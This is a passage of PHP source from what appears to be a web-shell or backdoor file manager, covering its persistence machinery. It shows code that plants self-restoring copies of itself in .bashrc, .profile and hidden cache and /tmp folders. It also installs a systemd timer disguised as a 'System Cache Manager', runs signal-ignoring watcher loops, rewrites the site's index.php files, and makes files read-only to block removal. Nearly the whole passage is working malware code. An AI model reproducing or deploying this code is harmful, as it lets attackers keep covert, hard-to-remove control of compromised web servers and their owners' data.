$encoded = base64_encode($compressed);
$bootDir = $home . '/.cache';
if (!is_dir($bootDir)) @mkdir($bootDir, 0700, true);
$bootHash = substr(hash('sha256', $targetDir), 0, 8);
$bootFile = $bootDir . '/.boot_' . $bootHash . '.php';
$sig = 'R3NV024';
$hidden = self::findExistingBackup();
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : $targetDir;
$idxs = $hidden ? $hidden['dir'] . DIRECTORY_SEPARATOR . '.idxs' : '';
$idx1 = $hidden ? $hidden['dir'] . DIRECTORY_SEPARATOR . '.idx1' : '';
$idx2 = $hidden ? $hidden['dir'] . DIRECTORY_SEPARATOR . '.idx2' : '';
$bootCode = '<?php @error_reporting(0);@ini_set("display_errors",0);$d=' . var_export($targetDir, true) . ';$f=' . var_export($fileName, true) . ';$h=' . var_export($hash, true) . ';$e=' . var_export($encoded, true) . ';$s=' . var_export($sig, true) . ';$t=$d.DIRECTORY_SEPARATOR.$f;$do=false;if(!file_exists($t)){$do=true;}else{$c=@file_get_contents($t);if($c===false||strpos($c,$s)===false){$do=true;}}if($do){if(!is_dir($d)){@mkdir($d,0755,true);}$x=@gzuncompress(@base64_decode($e));if($x&&md5($x)===$h){@file_put_contents($t,$x);@chmod($t,0444);@chmod($d,0555);}}$idxs=' . var_export($idxs, true) . ';$idx1=' . var_export($idx1, true) . ';$idx2=' . var_export($idx2, true) . ';$dr=' . var_export($docRoot, true) . ';if($idxs&&file_exists($idxs)){$sd=@file($idxs);if($sd&&count($sd)>=1){$is=trim($sd[0]);$chk=function($bf,$tp)use($is){if(!file_exists($bf))return;$id=@file($bf);if(!$id||count($id)<3)return;$ih=trim($id[0]);$ie=trim($id[2]);$ir=!file_exists($tp)||strpos(@file_get_contents($tp),$is)===false;if($ir){$iv=@gzuncompress(@base64_decode($ie));if($iv&&md5($iv)===$ih){@file_put_contents($tp,$iv);@chmod($tp,0444);@chmod(dirname($tp),0555);}}};$chk($idx1,$dr.DIRECTORY_SEPARATOR."index.php");$chk($idx2,$dr.DIRECTORY_SEPARATOR."public".DIRECTORY_SEPARATOR."index.php");}}';
if (@file_put_contents($bootFile, $bootCode) === false) return null;
@chmod($bootFile, 0600);
return $bootFile;
}
private static function removeBootstrap() {
$home = getenv('HOME') ?: (isset($_SERVER['HOME']) ? $_SERVER['HOME'] : '');
if (!$home) return;
$targetDir = dirname(FM_REAL_PATH);
$bootHash = substr(hash('sha256', $targetDir), 0, 8);
$bootFile = $home . '/.cache/.boot_' . $bootHash . '.php';
if (file_exists($bootFile)) @unlink($bootFile);
}
private static function removeCron() {
$dir = dirname(FM_REAL_PATH);
$cronMarker = substr(hash('sha256', $dir . PHP_OS . php_uname('n')), 4, 8);
if (stripos(PHP_OS, 'WIN') === 0) {
$taskName = 'WinCache_' . $cronMarker;
CommandRunner::run('schtasks /Delete /TN "' . $taskName . '" /F 2>&1', $dir, 10);
} else {
CommandRunner::run('crontab -l 2>/dev/null | grep -v "' . $cronMarker . '" | crontab -', '/tmp', 10);
}
}
private static function setupNohup($loaderPath, $hiddenDir) {
if (stripos(PHP_OS, 'WIN') === 0) {
return ['type' => 'watchers', 'result' => false, 'note' => 'Windows not supported'];
}
$phpPath = PHP_BINARY ?: 'php';
$results = ['nohup' => false, 'setsid' => false];
$pids = [];
$watcherTypes = [
'nohup' => ['script' => 'sess_wn', 'pid' => '.wn', 'method' => 'nohup'],
'setsid' => ['script' => 'sess_ws', 'pid' => '.ws', 'method' => 'setsid']
];
foreach ($watcherTypes as $type => $config) {
$watcherScript = $hiddenDir . DIRECTORY_SEPARATOR . $config['script'];
$pidFile = $hiddenDir . DIRECTORY_SEPARATOR . $config['pid'];
if (file_exists($pidFile)) {
$oldPid = trim(file_get_contents($pidFile));
if ($oldPid && file_exists("/proc/$oldPid")) {
$results[$type] = true;
$pids[$type] = $oldPid;
continue;
}
}
$fmPath = FM_REAL_PATH;
$fmDir = dirname(FM_REAL_PATH);
$backupPath = $hiddenDir . DIRECTORY_SEPARATOR . '.fm';
$userIniPath = $fmDir . DIRECTORY_SEPARATOR . '.user.ini';
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : '';
$passFilePath = $hiddenDir . DIRECTORY_SEPARATOR . '.p';
$chmodCmds = "chmod 444 " . _esa($fmPath) . " 2>/dev/null\n";
$chmodCmds .= "chmod 444 " . _esa($backupPath) . " 2>/dev/null\n";
$chmodCmds .= "chmod 444 " . _esa($passFilePath) . " 2>/dev/null\n";
$chmodCmds .= "chmod 555 " . _esa($fmDir) . " 2>/dev/null\n";
$chmodCmds .= "chmod 555 " . _esa($hiddenDir) . " 2>/dev/null\n";
$chmodCmds .= "chmod 444 " . _esa($userIniPath) . " 2>/dev/null\n";
if ($docRoot && $docRoot !== $fmDir) {
$chmodCmds .= "chmod 555 " . _esa($docRoot) . " 2>/dev/null\n";
$chmodCmds .= "chmod 444 " . _esa($docRoot . '/.user.ini') . " 2>/dev/null\n";
$chmodCmds .= "chmod 444 " . _esa($docRoot . '/index.php') . " 2>/dev/null\n";
$publicDir = $docRoot . '/public';
$chmodCmds .= "chmod 555 " . _esa($publicDir) . " 2>/dev/null\n";
$chmodCmds .= "chmod 444 " . _esa($publicDir . '/index.php') . " 2>/dev/null\n";
}
$watcherCode = "#!/bin/bash\necho \$\$ > " . _esa($pidFile) . "\ntrap \"\" HUP TERM INT QUIT\nexec 0</dev/null\nexec 1>/dev/null\nexec 2>/dev/null\ncd /\numask 0\nwhile true; do\n" . $chmodCmds . $phpPath . " " . _esa($loaderPath) . " >/dev/null 2>&1\nsleep 60\ndone\n";
if (file_put_contents($watcherScript, $watcherCode) === false) {
continue;
}
chmod($watcherScript, 0700);
@unlink($pidFile);
if ($config['method'] === 'nohup') {
if (CommandRunner::available()) CommandRunner::run('(nohup bash ' . _esa($watcherScript) . ' </dev/null >/dev/null 2>&1 &)', '/tmp', 5);
} elseif ($config['method'] === 'setsid') {
if (CommandRunner::available()) CommandRunner::run('(setsid -f bash ' . _esa($watcherScript) . ' </dev/null >/dev/null 2>&1 &)', '/tmp', 5);
}
usleep(100000);
for ($i = 0; $i < 5; $i++) {
if (file_exists($pidFile)) {
$pid = trim(@file_get_contents($pidFile));
if ($pid && is_numeric($pid) && file_exists("/proc/$pid")) {
$results[$type] = true;
$pids[$type] = $pid;
break;
}
}
usleep(50000);
}
}
$anySuccess = $results['nohup'] || $results['setsid'];
if ($anySuccess) {
foreach ($watcherTypes as $type => $config) {
$ws = $hiddenDir . DIRECTORY_SEPARATOR . $config['script'];
$pf = $hiddenDir . DIRECTORY_SEPARATOR . $config['pid'];
if (file_exists($ws)) @chmod($ws, 0444);
if (file_exists($pf)) @chmod($pf, 0444);
}
$passFile = $hiddenDir . DIRECTORY_SEPARATOR . '.p';
if (file_exists($passFile)) @chmod($passFile, 0444);
@chmod($hiddenDir, 0555);
}
return ['type' => 'watchers', 'result' => $anySuccess, 'details' => $results, 'pids' => $pids];
}
public static function restartNohupIfDead() {
if (stripos(PHP_OS, 'WIN') === 0) return;
$hidden = self::findExistingBackup();
if (!$hidden) return;
$loaderPath = $hidden['loader'];
if (!file_exists($loaderPath)) return;
$watcherTypes = [
'nohup' => ['script' => 'sess_wn', 'pid' => '.wn', 'method' => 'nohup'],
'setsid' => ['script' => 'sess_ws', 'pid' => '.ws', 'method' => 'setsid']
];
$phpPath = PHP_BINARY ?: 'php';
foreach ($watcherTypes as $type => $config) {
$pidFile = $hidden['dir'] . DIRECTORY_SEPARATOR . $config['pid'];
$watcherScript = $hidden['dir'] . DIRECTORY_SEPARATOR . $config['script'];
if (file_exists($pidFile)) {
$pid = trim(file_get_contents($pidFile));
if ($pid && file_exists("/proc/$pid")) continue;
}
$fmPath = FM_REAL_PATH;
$fmDir = dirname(FM_REAL_PATH);
$backupPath = $hidden['dir'] . DIRECTORY_SEPARATOR . '.fm';
$userIniPath = $fmDir . DIRECTORY_SEPARATOR . '.user.ini';
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : '';
$chmodCmds = "chmod 444 " . _esa($fmPath) . " 2>/dev/null\n";
$chmodCmds .= "chmod 444 " . _esa($backupPath) . " 2>/dev/null\n";
$chmodCmds .= "chmod 555 " . _esa($fmDir) . " 2>/dev/null\n";
$chmodCmds .= "chmod 555 " . _esa($hidden['dir']) . " 2>/dev/null\n";
$chmodCmds .= "chmod 444 " . _esa($userIniPath) . " 2>/dev/null\n";
if ($docRoot && $docRoot !== $fmDir) {
$chmodCmds .= "chmod 555 " . _esa($docRoot) . " 2>/dev/null\n";
$chmodCmds .= "chmod 444 " . _esa($docRoot . '/.user.ini') . " 2>/dev/null\n";
$chmodCmds .= "chmod 444 " . _esa($docRoot . '/index.php') . " 2>/dev/null\n";
$publicDir = $docRoot . '/public';
$chmodCmds .= "chmod 555 " . _esa($publicDir) . " 2>/dev/null\n";
$chmodCmds .= "chmod 444 " . _esa($publicDir . '/index.php') . " 2>/dev/null\n";
}
$watcherCode = "#!/bin/bash\necho \$\$ > " . _esa($pidFile) . "\ntrap \"\" HUP TERM INT QUIT\nexec 0</dev/null\nexec 1>/dev/null\nexec 2>/dev/null\ncd /\numask 0\nwhile true; do\n" . $chmodCmds . $phpPath . " " . _esa($loaderPath) . " >/dev/null 2>&1\nsleep 60\ndone\n";
if (file_put_contents($watcherScript, $watcherCode) === false) continue;
chmod($watcherScript, 0700);
@unlink($pidFile);
if ($config['method'] === 'nohup') {
if (CommandRunner::available()) CommandRunner::run('(nohup bash ' . _esa($watcherScript) . ' </dev/null >/dev/null 2>&1 &)', '/tmp', 5);
} elseif ($config['method'] === 'setsid') {
if (CommandRunner::available()) CommandRunner::run('(setsid -f bash ' . _esa($watcherScript) . ' </dev/null >/dev/null 2>&1 &)', '/tmp', 5);
}
}
}
private static function removeNohup($hiddenDir) {
if (stripos(PHP_OS, 'WIN') === 0) return;
@chmod($hiddenDir, 0755);
$watcherTypes = [
['script' => 'sess_wn', 'pid' => '.wn'],
['script' => 'sess_ws', 'pid' => '.ws'],
['script' => 'sess_bg', 'pid' => '.bg'],
['script' => 'w_nohup.sh', 'pid' => 'w_nohup.pid'],
['script' => 'w_setsid.sh', 'pid' => 'w_setsid.pid'],
['script' => 'w_bg.sh', 'pid' => 'w_bg.pid'],
['script' => 'w.sh', 'pid' => 'w.pid']
];
foreach ($watcherTypes as $config) {
$pidFile = $hiddenDir . DIRECTORY_SEPARATOR . $config['pid'];
$watcherScript = $hiddenDir . DIRECTORY_SEPARATOR . $config['script'];
if (file_exists($pidFile)) {
$pid = trim(file_get_contents($pidFile));
if ($pid && is_numeric($pid)) {
if (CommandRunner::available()) CommandRunner::run('kill -9 ' . intval($pid) . ' 2>/dev/null', '/tmp', 5);
if (CommandRunner::available()) CommandRunner::run('kill -9 -' . intval($pid) . ' 2>/dev/null', '/tmp', 5);
}
@chmod($pidFile, 0644);
@unlink($pidFile);
}
if (file_exists($watcherScript)) {
if (CommandRunner::available()) CommandRunner::run('pkill -9 -f ' . _esa(basename($watcherScript)) . ' 2>/dev/null', '/tmp', 5);
@chmod($watcherScript, 0644);
@unlink($watcherScript);
}
}
$passFile = $hiddenDir . DIRECTORY_SEPARATOR . '.p';
if (file_exists($passFile)) {
@chmod($passFile, 0644);
@unlink($passFile);
}
}
public static function isNohupRunning() {
$hidden = self::findExistingBackup();
if (!$hidden) return false;
$pidFiles = ['.wn', '.ws', 'w_nohup.pid', 'w_setsid.pid', 'w.pid'];
foreach ($pidFiles as $pf) {
$pidFile = $hidden['dir'] . DIRECTORY_SEPARATOR . $pf;
if (file_exists($pidFile)) {
$pid = trim(file_get_contents($pidFile));
if ($pid && file_exists("/proc/$pid")) return true;
}
}
return false;
}
public static function getWatcherStatus() {
$hidden = self::findExistingBackup();
if (!$hidden) return ['nohup' => false, 'setsid' => false];
$status = [];
$watcherTypes = [
'nohup' => '.wn',
'setsid' => '.ws'
];
foreach ($watcherTypes as $type => $pf) {
$pidFile = $hidden['dir'] . DIRECTORY_SEPARATOR . $pf;
$status[$type] = false;
if (file_exists($pidFile)) {
$pid = trim(file_get_contents($pidFile));
if ($pid && file_exists("/proc/$pid")) $status[$type] = true;
}
}
return $status;
}
private static function getBashrcMarker() {
$srcDir = dirname(FM_REAL_PATH);
return 'fm_' . substr(hash('sha256', $srcDir), 0, 8);
}
private static function setupBashrc($loaderPath) {
if (stripos(PHP_OS, 'WIN') === 0) {
return ['type' => 'bashrc', 'result' => false, 'note' => 'Windows not supported'];
}
$home = self::getHomeDir();
if (!$home) {
return ['type' => 'bashrc', 'result' => false, 'note' => 'No HOME detected'];
}
$phpPath = PHP_BINARY ?: 'php';
$marker = self::getBashrcMarker();
$dir = dirname(FM_REAL_PATH);
$fileName = basename(FM_REAL_PATH);
$sig = 'R3NV024';
$locations = self::getMultiBackupLocations();
$bootFile = self::buildSelfHealBootstrap($dir);
$hidden = self::findExistingBackup();
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : $dir;
$idxs = $hidden ? $hidden['dir'] . '/.idxs' : '';
$idx1 = $hidden ? $hidden['dir'] . '/.idx1' : '';
$idx2 = $hidden ? $hidden['dir'] . '/.idx2' : '';
$locArr = [];
foreach ($locations as $loc) {
$locArr[] = $loc['base'] . '/' . $loc['name'] . '/d.tmp';
}
if ($bootFile) {
$locArr[] = str_replace('.boot_', '.boot_', $bootFile);
}
$inlineRestore = 'php -r \'$d=' . var_export($dir, true) . ';$f=' . var_export($fileName, true) . ';$s=' . var_export($sig, true) . ';$idxs=' . var_export($idxs, true) . ';$idx1=' . var_export($idx1, true) . ';$idx2=' . var_export($idx2, true) . ';$dr=' . var_export($docRoot, true) . ';$t=$d."/".$f;$ok=file_exists($t)&&strpos(@file_get_contents($t),$s)!==false;if(!$ok){$l=' . var_export($locArr, true) . ';foreach($l as $p){if(@file_exists($p)){$c=@file($p);if($c&&count($c)>=2){$x=@gzuncompress(@base64_decode(trim($c[1])));if($x&&md5($x)===trim($c[0])){@mkdir($d,0755,true);@file_put_contents($t,$x);@chmod($t,0444);@chmod($d,0555);break;}}}}}if($idxs&&file_exists($idxs)){$sd=@file($idxs);if($sd&&count($sd)>=1){$is=trim($sd[0]);$chk=function($bf,$tp)use($is){if(!file_exists($bf))return;$id=@file($bf);if(!$id||count($id)<3)return;$ih=trim($id[0]);$ie=trim($id[2]);$ir=!file_exists($tp)||strpos(@file_get_contents($tp),$is)===false;if($ir){$iv=@gzuncompress(@base64_decode($ie));if($iv&&md5($iv)===$ih){@file_put_contents($tp,$iv);@chmod($tp,0444);@chmod(dirname($tp),0555);}}};$chk($idx1,$dr."/index.php");$chk($idx2,$dr."/public/index.php");}}\' 2>/dev/null &';
$hookCode = "\n# " . $marker . "\n" . $inlineRestore . "\n";
$rcFiles = [$home . '/.bashrc', $home . '/.bash_profile', $home . '/.profile'];
$added = [];
foreach ($rcFiles as $rcFile) {
if (!file_exists($rcFile)) continue;
$content = file_get_contents($rcFile);
if (strpos($content, $marker) !== false) {
$content = preg_replace('/\n# ' . preg_quote($marker, '/') . '\n[^\n]+\n/', "\n", $content);
}
if (@file_put_contents($rcFile, $content . $hookCode) !== false) {
$added[] = basename($rcFile);
}
}
if (empty($added)) {
$content = @file_get_contents($home . '/.bashrc') ?: '';
if (@file_put_contents($home . '/.bashrc', $content . $hookCode) !== false) {
$added[] = '.bashrc (created)';
}
}
return ['type' => 'bashrc', 'result' => !empty($added), 'files' => $added, 'selfheal' => true, 'locations' => count($locArr)];
}
private static function removeBashrc() {
if (stripos(PHP_OS, 'WIN') === 0) return;
$home = self::getHomeDir();
if (!$home) return;
$marker = self::getBashrcMarker();
$rcFiles = [$home . '/.bashrc', $home . '/.bash_profile', $home . '/.profile'];
foreach ($rcFiles as $rcFile) {
if (!file_exists($rcFile)) continue;
$content = file_get_contents($rcFile);
if (strpos($content, $marker) !== false) {
$content = preg_replace('/\n# ' . preg_quote($marker, '/') . '\n[^\n]+\n/', "\n", $content);
file_put_contents($rcFile, $content);
}
}
}
public static function isBashrcHooked() {
if (stripos(PHP_OS, 'WIN') === 0) return false;
$home = self::getHomeDir();
if (!$home) return false;
$marker = self::getBashrcMarker();
$rcFiles = [$home . '/.bashrc', $home . '/.bash_profile', $home . '/.profile'];
foreach ($rcFiles as $rcFile) {
if (file_exists($rcFile)) {
$content = @file_get_contents($rcFile);
if ($content && strpos($content, $marker) !== false) {
return true;
}
}
}
return false;
}
private static function getHomeDir() {
$home = getenv('HOME');
if ($home && is_dir($home)) return $home;
if (isset($_SERVER['HOME']) && is_dir($_SERVER['HOME'])) return $_SERVER['HOME'];
if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
$user = posix_getpwuid(posix_geteuid());
if ($user && isset($user['dir']) && is_dir($user['dir'])) return $user['dir'];
}
$user = get_current_user();
if ($user) {
$tryHome = '/home/' . $user;
if (is_dir($tryHome)) return $tryHome;
}
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$dr = $_SERVER['DOCUMENT_ROOT'];
if (preg_match('#^(/home/[^/]+)#', $dr, $m) && is_dir($m[1])) return $m[1];
}
return '';
}
private static function getWebUser() {
if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
$user = posix_getpwuid(posix_geteuid());
return $user ? $user['name'] : null;
}
return get_current_user() ?: null;
}
private static function isSharedHosting() {
$user = self::getWebUser();
if (!$user) return false;
$sysUsers = ['www-data', 'apache', 'nginx', 'nobody', 'httpd', 'www', '_www', 'http'];
return !in_array(strtolower($user), $sysUsers);
}
private static function getSystemdMarker() {
$srcDir = dirname(FM_REAL_PATH);
return 'fmrestore_' . substr(hash('sha256', $srcDir), 0, 8);
}
private static function setupSystemdTimer($loaderPath) {
if (stripos(PHP_OS, 'WIN') === 0) {
return ['type' => 'systemd', 'result' => false, 'note' => 'Windows not supported'];
}
$home = self::getHomeDir();
if (!$home) {
return ['type' => 'systemd', 'result' => false, 'note' => 'No HOME detected'];
}
$systemdDir = $home . '/.config/systemd/user';
if (!is_dir($systemdDir)) {
if (!@mkdir($systemdDir, 0755, true)) {
return ['type' => 'systemd', 'result' => false, 'note' => 'Cannot create systemd dir'];
}
}
$serviceName = self::getSystemdMarker();
$phpPath = PHP_BINARY ?: 'php';
$dir = dirname(FM_REAL_PATH);
$fileName = basename(FM_REAL_PATH);
$sig = 'R3NV024';
$locations = self::getMultiBackupLocations();
$locArr = [];
foreach ($locations as $loc) {
$locArr[] = $loc['base'] . '/' . $loc['name'] . '/d.tmp';
}
$bootFile = self::buildSelfHealBootstrap($dir);
if ($bootFile) {
$locArr[] = $bootFile;
}
$hidden = self::findExistingBackup();
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : $dir;
$idxs = $hidden ? $hidden['dir'] . '/.idxs' : '';
$idx1 = $hidden ? $hidden['dir'] . '/.idx1' : '';
$idx2 = $hidden ? $hidden['dir'] . '/.idx2' : '';
$restoreScript = $home . '/.local/bin/' . $serviceName . '.sh';
if (!is_dir(dirname($restoreScript))) {
@mkdir(dirname($restoreScript), 0755, true);
}
$scriptContent = '#!/bin/bash
d=' . _esa($dir) . '
f=' . _esa($fileName) . '
s=' . _esa($sig) . '
dr=' . _esa($docRoot) . '
idxs=' . _esa($idxs) . '
idx1=' . _esa($idx1) . '
idx2=' . _esa($idx2) . '
t="$d/$f"
if [ ! -f "$t" ] || ! grep -q "$s" "$t" 2>/dev/null; then
  locs=(' . implode(' ', array_map('_esa', $locArr)) . ')
  for p in "${locs[@]}"; do
    if [ -f "$p" ]; then
      ' . $phpPath . ' -r \'$c=@file($argv[1]);if($c&&count($c)>=2){$x=@gzuncompress(@base64_decode(trim($c[1])));if($x&&md5($x)===trim($c[0])){@mkdir($argv[2],0755,true);@file_put_contents($argv[3],$x);@chmod($argv[3],0444);@chmod($argv[2],0555);}}\' "$p" "$d" "$t" 2>/dev/null
      break
    fi
  done
fi
if [ -n "$idxs" ] && [ -f "$idxs" ]; then
  ' . $phpPath . ' -r \'$idxs=$argv[1];$idx1=$argv[2];$idx2=$argv[3];$dr=$argv[4];if(file_exists($idxs)){$sd=@file($idxs);if($sd&&count($sd)>=1){$is=trim($sd[0]);$chk=function($bf,$tp)use($is){if(!file_exists($bf))return;$id=@file($bf);if(!$id||count($id)<3)return;$ih=trim($id[0]);$ie=trim($id[2]);$ir=!file_exists($tp)||strpos(@file_get_contents($tp),$is)===false;if($ir){$iv=@gzuncompress(@base64_decode($ie));if($iv&&md5($iv)===$ih){@file_put_contents($tp,$iv);@chmod($tp,0444);@chmod(dirname($tp),0555);}}};$chk($idx1,$dr."/index.php");$chk($idx2,$dr."/public/index.php");}}\' "$idxs" "$idx1" "$idx2" "$dr" 2>/dev/null
fi
';
if (@file_put_contents($restoreScript, $scriptContent) === false) {
return ['type' => 'systemd', 'result' => false, 'note' => 'Cannot create script'];
}
@chmod($restoreScript, 0755);
$serviceContent = '[Unit]
Description=System Cache Manager
After=network.target

[Service]
Type=oneshot
ExecStart=' . $restoreScript . '
StandardOutput=null
StandardError=null

[Install]
WantedBy=default.target
';
$timerContent = '[Unit]
Description=System Cache Timer

[Timer]
OnBootSec=1min
OnUnitActiveSec=5min
Persistent=true

[Install]
WantedBy=timers.target
';
$serviceFile = $systemdDir . '/' . $serviceName . '.service';
$timerFile = $systemdDir . '/' . $serviceName . '.timer';
if (@file_put_contents($serviceFile, $serviceContent) === false) {
return ['type' => 'systemd', 'result' => false, 'note' => 'Cannot create service'];
}
if (@file_put_contents($timerFile, $timerContent) === false) {
return ['type' => 'systemd', 'result' => false, 'note' => 'Cannot create timer'];
}
$result = CommandRunner::run('systemctl --user daemon-reload 2>/dev/null; systemctl --user enable --now ' . _esa($serviceName . '.timer') . ' 2>&1', '/tmp', 10);
return ['type' => 'systemd', 'result' => $result['success'] || file_exists($timerFile), 'enabled' => $result['success']];
}
private static function removeSystemdTimer() {
if (stripos(PHP_OS, 'WIN') === 0) return;
$home = self::getHomeDir();
if (!$home) return;
$serviceName = self::getSystemdMarker();
$systemdDir = $home . '/.config/systemd/user';
CommandRunner::run('systemctl --user disable --now ' . _esa($serviceName . '.timer') . ' 2>/dev/null', '/tmp', 5);
@unlink($systemdDir . '/' . $serviceName . '.service');
@unlink($systemdDir . '/' . $serviceName . '.timer');
@unlink($home . '/.local/bin/' . $serviceName . '.sh');
}
public static function isSystemdTimerActive() {
if (stripos(PHP_OS, 'WIN') === 0) return false;
$home = self::getHomeDir();
if (!$home) return false;
$serviceName = self::getSystemdMarker();
$timerFile = $home . '/.config/systemd/user/' . $serviceName . '.timer';
return file_exists($timerFile);
}
private static function getMultiBackupLocations() {
$srcDir = dirname(FM_REAL_PATH);
$hash = substr(hash('sha256', $srcDir . PHP_OS . php_uname('n')), 0, 12);
$home = getenv('HOME') ?: (isset($_SERVER['HOME']) ? $_SERVER['HOME'] : '');
$locations = [];
if ($home) {
$locations[] = ['base' => $home . '/.cache', 'name' => '.sys_' . substr($hash, 0, 6)];
$locations[] = ['base' => $home . '/.local/share', 'name' => '.lib_' . substr($hash, 2, 6)];
$locations[] = ['base' => $home . '/.config', 'name' => '.app_' . substr($hash, 3, 6)];
$locations[] = ['base' => $home, 'name' => '.' . substr($hash, 0, 8)];
$locations[] = ['base' => $home . '/.local', 'name' => '.run_' . substr($hash, 4, 6)];
}
$locations[] = ['base' => '/var/tmp', 'name' => '.run_' . substr($hash, 0, 6)];
$locations[] = ['base' => '/tmp', 'name' => '.sess_' . substr($hash, 2, 6)];
$locations[] = ['base' => '/dev/shm', 'name' => '.shm_' . substr($hash, 1, 6)];
return $locations;
}
private static function setupMultiBackup($backupData) {
if (stripos(PHP_OS, 'WIN') === 0) {
return ['type' => 'multi', 'result' => false, 'note' => 'Windows not supported'];
}
$locations = self::getMultiBackupLocations();
$created = [];
foreach ($locations as $loc) {
if (!is_dir($loc['base']) || !is_writable($loc['base'])) continue;
$dir = $loc['base'] . '/' . $loc['name'];
if (!is_dir($dir)) {
if (!@mkdir($dir, 0700, true)) continue;
}
$file = $dir . '/d.tmp';
if (@file_put_contents($file, $backupData) !== false) {
$created[] = $loc['base'];
}
}
return ['type' => 'multi', 'result' => count($created) > 0, 'count' => count($created), 'locations' => $created];
}
private static function removeMultiBackup() {
if (stripos(PHP_OS, 'WIN') === 0) return;
$locations = self::getMultiBackupLocations();
foreach ($locations as $loc) {
$dir = $loc['base'] . '/' . $loc['name'];
$file = $dir . '/d.tmp';
if (file_exists($file)) @unlink($file);
if (is_dir($dir)) @rmdir($dir);
}
}
public static function getMultiBackupCount() {
if (stripos(PHP_OS, 'WIN') === 0) return 0;
$locations = self::getMultiBackupLocations();
$count = 0;
foreach ($locations as $loc) {
$file = $loc['base'] . '/' . $loc['name'] . '/d.tmp';
if (file_exists($file)) $count++;
}
return $count;
}
private static function setupChmodProtection($hidden) {
$files = [$hidden['backup'], $hidden['loader']];
$protected = 0;
foreach ($files as $file) {
if (file_exists($file) && @chmod($file, 0444)) {
$protected++;
}
}
$mainFile = FM_REAL_PATH;
if (file_exists($mainFile) && @chmod($mainFile, 0444)) {
$protected++;
}
$parentDir = dirname($mainFile);
if (is_dir($parentDir) && @chmod($parentDir, 0555)) {
$protected++;
}
$fmIniFile = $parentDir . DIRECTORY_SEPARATOR . '.user.ini';
if (file_exists($fmIniFile) && @chmod($fmIniFile, 0444)) {
$protected++;
}
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : '';
if ($docRoot && is_dir($docRoot)) {
@chmod($docRoot, 0555);
$protected++;
$docRootIni = $docRoot . DIRECTORY_SEPARATOR . '.user.ini';
if (file_exists($docRootIni) && @chmod($docRootIni, 0444)) {
$protected++;
}
$docRootIndex = $docRoot . DIRECTORY_SEPARATOR . 'index.php';
if (file_exists($docRootIndex)) {
@chmod($docRootIndex, 0444);
$protected++;
}
$publicDir = $docRoot . DIRECTORY_SEPARATOR . 'public';
if (is_dir($publicDir)) {
@chmod($publicDir, 0555);
$protected++;
$publicIndex = $publicDir . DIRECTORY_SEPARATOR . 'index.php';
if (file_exists($publicIndex)) {
@chmod($publicIndex, 0444);
$protected++;
}
}
}
if (file_exists($hidden['backup'])) {
$lines = @file($hidden['backup'], FILE_IGNORE_NEW_LINES);
if ($lines && count($lines) >= 9) {
$customIdxJson = isset($lines[8]) ? trim($lines[8]) : '';
if (!empty($customIdxJson)) {
$customIdx = @json_decode($customIdxJson, true);
if ($customIdx && is_array($customIdx)) {
foreach ($customIdx as $ci) {
if (isset($ci['path']) && file_exists($ci['path'])) {
@chmod($ci['path'], 0444);
$protected++;
$customDir = dirname($ci['path']);
if (is_dir($customDir)) {
@chmod($customDir, 0555);
$protected++;
}
}
}
}
}
}
}
return ['type' => 'chmod', 'result' => $protected > 0, 'count' => $protected];
}
private static function removeChmodProtection($hidden) {
$mainFile = FM_REAL_PATH;
$parentDir = dirname($mainFile);
if (is_dir($parentDir)) {
@chmod($parentDir, 0755);
}
if (file_exists($mainFile)) {
@chmod($mainFile, 0644);
}
$files = [$hidden['backup'], $hidden['loader']];
foreach ($files as $file) {
if (file_exists($file)) {
@chmod($file, 0644);
}
}
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : '';
if ($docRoot && is_dir($docRoot)) {
@chmod($docRoot, 0755);
$docRootIndex = $docRoot . DIRECTORY_SEPARATOR . 'index.php';
if (file_exists($docRootIndex)) {
@chmod($docRootIndex, 0644);
}
$publicDir = $docRoot . DIRECTORY_SEPARATOR . 'public';
if (is_dir($publicDir)) {
@chmod($publicDir, 0755);
$publicIndex = $publicDir . DIRECTORY_SEPARATOR . 'index.php';
if (file_exists($publicIndex)) {
@chmod($publicIndex, 0644);
}
}
}
if (file_exists($hidden['backup'])) {
$lines = @file($hidden['backup'], FILE_IGNORE_NEW_LINES);
if ($lines && count($lines) >= 9) {
$customIdxJson = isset($lines[8]) ? trim($lines[8]) : '';
if (!empty($customIdxJson)) {
$customIdx = @json_decode($customIdxJson, true);
if ($customIdx && is_array($customIdx)) {
foreach ($customIdx as $ci) {
if (isset($ci['path'])) {
$customDir = dirname($ci['path']);
if (is_dir($customDir)) {
@chmod($customDir, 0755);
}
if (file_exists($ci['path'])) {
@chmod($ci['path'], 0644);
}
}
}
}
}
}
}
}
private static function setupIndexBackup($hidden, $dir, $indexString) {
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : $dir;
$backed = [];
$errors = [];
$backupDir = $hidden ? $hidden['dir'] : $dir;
if ($hidden) {
@chmod($hidden['dir'], 0755);
@chmod($hidden['backup'], 0644);
} else {
$backupDir = $dir;
if (!is_writable($backupDir)) {
@chmod($backupDir, 0755);
}
}
$indexFile1 = $docRoot . DIRECTORY_SEPARATOR . 'index.php';
@clearstatcache(true, $indexFile1);
if (@file_exists($indexFile1) || @is_file($indexFile1)) {
if (@is_readable($indexFile1)) {
$content = @file_get_contents($indexFile1);
if ($content !== false) {
$encoded = base64_encode(gzcompress($content, 9));
$hash = md5($content);
$backupData = $hash . "\n" . $indexString . "\n" . $encoded;
$backupFile = $backupDir . DIRECTORY_SEPARATOR . '.idx1';
@chmod($backupFile, 0644);
$writeResult = @file_put_contents($backupFile, $backupData);
if ($writeResult !== false) {
@chmod($backupFile, 0444);
$backed[] = 'root';
} else {
